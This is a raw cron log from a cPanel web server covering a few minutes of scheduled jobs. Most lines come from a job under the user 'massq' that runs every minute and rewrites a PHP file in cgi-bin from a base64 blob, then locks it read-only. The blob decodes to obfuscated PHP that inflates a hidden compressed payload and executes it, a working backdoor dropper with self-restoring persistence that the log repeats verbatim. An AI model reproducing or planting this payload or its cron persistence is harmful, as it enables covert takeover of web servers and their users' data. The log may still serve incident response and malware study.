Nov 12 02:07:01 server CROND[4565]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:08:01 server CROND[5385]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:09:01 server CROND[6215]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 12 02:09:01 server CROND[6216]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:10:01 server CROND[7145]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 02:10:01 server CROND[7144]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 12 02:10:01 server CROND[7146]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 02:10:01 server CROND[7147]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:11:01 server CROND[8089]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:12:01 server CROND[9074]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:12:01 server CROND[9075]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 12 02:13:01 server CROND[9904]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:14:01 server CROND[10747]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:15:01 server CROND[11713]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 12 02:15:01 server CROND[11714]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 12 02:15:01 server CROND[11715]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 02:15:01 server CROND[11716]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:16:01 server CROND[12537]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:17:01 server CROND[13370]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:18:01 server CROND[14193]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:19:01 server CROND[15021]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 12 02:20:01 server CROND[15856]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 12 02:20:01 server CROND[15859]: (root) CMD (/usr/lib64/sa/sa1 1 1)
